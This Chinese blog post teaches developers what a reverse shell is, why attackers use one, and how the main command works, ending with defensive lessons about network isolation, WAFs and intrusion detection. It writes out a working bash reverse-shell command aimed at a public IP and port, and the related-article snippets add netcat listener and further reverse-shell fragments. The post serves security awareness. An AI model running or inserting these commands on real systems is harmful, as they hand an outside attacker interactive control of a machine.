美文网首页
大家一起学安全之反弹shell

大家一起学安全之反弹shell

作者: 玩物技术 | 来源:发表于2020-05-14 13:42 被阅读0次

最近在工作中发现,一线研发类的同学对基本的安全的知识缺乏必要的了解,进而产生出这样的一些想法(纯属想象。。。):

1. 你看我的密码zhangsan!@#123, 密码字母,数字,特殊字符都有了,别人肯定猜不到...

2. 天啊,密码要三个月必须改一次,是不是吃饱了没事干...

3. 安全又搞事情了,这也不能访问,那也需要认证,心里默默飘过了一万个草泥马...

4. 每次访问数据库,流程一大堆,我自己写个PHP后门挂上去,可以随时访问,方便多了...

5. 数据都加密了,我还怎么愉快的抓包定位问题? 又是一万个草泥马...

6. 这台机器反正外网访问不到,我可以为所欲为了,各种软件装起来...

7. 这个工程的代码写的太优雅了,感觉也不太重要,放我自己github上吧...

8. 卧槽,安全的产品这么贵,还就这么点功能,好像也用不着,能省就省点吧...

9. 公司这几个安全人员平时看着事也不多,这次裁员要不就先拿他们开刀...

“未知攻,焉知防”, 后续准备通过一系列小的分享文章,以此来增强大家在安全方面的基本认知和日常工作中的安全意识,今天我们就从反弹shell说起。

什么是反弹shell

怎么获取到shell呢?比如,我们通过ssh访问机房的一台服务器(chicken),然后有一个shell命令行的方式来操作这台服务器,那么就可以说我们拿到了chicken的shell。除了ssh之外,我们还可以通过telnet,vnc来达到一个远程登陆的效果。

透过现象看本质,Hacker想要控制chicken,二者之间必须有一个数据传输的通道(TCP/UDP)。ssh是chicken启动一个ssh Server,Hacker来连接。当然,我们也可以开发一个叫TMD Server服务,可以将hacker发上来的文本当做一个CMD执行,那么也就认为TMDServer具备远程登陆的功能。

总而言之,上述shell通道的建立,都是hacker主动连接chicken,那么如果chicken主要连接hacker实现的shell执行通道,就叫反弹shell

为什么要反弹shell

为什么要用反弹shell呢,简单来说就是正向不好搞,所以要反向搞。比如,hacker通过九牛二虎之力,在chicken上上传了一个小马。后面的情况可能是:

chichen在局域网中,没有外网地址,我连不上;

chicken有外网地址,但是经常变,我不能持续的控制它;

chicken前面有waf部署,对进来的request请求做了过滤,很难绕过;

那么我可以通过在hacker机器上启动一个tcpserver,让chicken主动来连接我,由此建立一个数据通道来执行shell。

借用一图说明下(侵删)

示例

ttygif ttyrecord

hacker(外网地址为39.98.87.76)上执行:

chicken行执行

然后此时在看hacker机器上的显示,已经成功拿到chicken的shell,可以在chicken上为所欲为了。

先详细解释下chicken上执行命令的含义,这条命令就可以叫做一条反弹shell。现在详细解释下这条命令的含义:

bash -i >& /dev/tcp/39.98.87.76/4100 0>&1 

`bash -i ` 表示启动一个交互式的shell;

`>&` 这个交互式shell的标准输出和标准错误输出,重定向到这socket上/dev/tcp/39.98.87.76/4100,也即发送到/dev/tcp/39.98.87.76/4100远端;

0>&1 标准输入重定向到标准输出上;

简而言之,就是启动一个交互式shell,这个交互式shell的输入来自hacker,输出也输出也到hacker上。

反弹shell的姿势

通过bash -i的是最简单的但也同时是最容易被识别的反弹shell,在没有任何防护的小chicken上执行是没有问题的。

但如果此时chicken有一定的防护能力,比如前面有个waf或者机器装有入侵检测系统,容易就被识别出来被拦截。

但对于一个有经验的hacker来讲,熟练运用各种撩人姿势是必备技能,举例说明:

尤其msf自动生成的一些webshell,即便是装配了一些大厂的入侵检测系统,也很难直接识别出来。

后续操作

chicken被拿到shell后,那么就可以通过chicken来探测跟它在同一网段上的其他机器,他们都部署了什么服务,这些服务是否存在已知的可利用的漏洞等等。或者种上点蠕虫病毒,让其在内网中传播,一只小chicken被感染了,一群chicken可能都会被攻陷下来。

总结

由此分析,我觉得至少改变几个初级的安全认知:

内网的机器并不绝对安全的,一样可以被拿到shell。

做网络隔离,哪怕是内网中的网络安全域,是有用的,不是闲的没事干的操作。

waf和入侵检测能够较大的提升攻击门槛。

https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&album_id=1339434786649210881&__biz=MzU1NjU2Nzc1MA==#wechat_redirect

相关文章

  • 大家一起学安全之反弹shell

    最近在工作中发现,一线研发类的同学对基本的安全的知识缺乏必要的了解,进而产生出这样的一些想法(纯属想象。。。): ...

  • 安全基本操作-nc反弹shell演练

    前言 在一些安全文章中,经常提到nc反弹shell提权。而什么nc反弹shell呢,一直没搞懂。今天特地本地操作下...

  • 反弹shell指什么?主要作用有哪些?

    相信大家一定听过shell,但反弹shell你是否也听过呢?它又有什么作用呢?请看下文: 简单来说,Shell就是...

  • 【安全记录】反弹shell小记

    前言 本文记录反弹shell的一些注意事项,主要包括:常用反弹shell的payload,获得tty-shell,...

  • nc自启动

    例如开机自启cmd 自启nc反弹shell(一) 自启nc反弹shell(二)

  • ARM之反弹shell

    C代码 获取一个socket的文件描述符 定义好远程地址,使用connect函数连接过去 重定位标准输入流、标准输...

  • kail工具介绍

    反弹Shell https://www.cnblogs.com/cocowool/p/reverse-shell....

  • 反弹shell

    Reverse Shell bash反弹服务端: bash -c 'sh -i &>/dev/tcp/210.28...

  • 反弹shell

    bash -i 操作 攻击机 192.168.188.140执行 nc -lvvp 8888监听本地8888端口 ...

  • Shell反弹

    背景 前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也...

网友评论

      本文标题:大家一起学安全之反弹shell

      本文链接:https://www.haomeiwen.com/subject/wkawghtx.html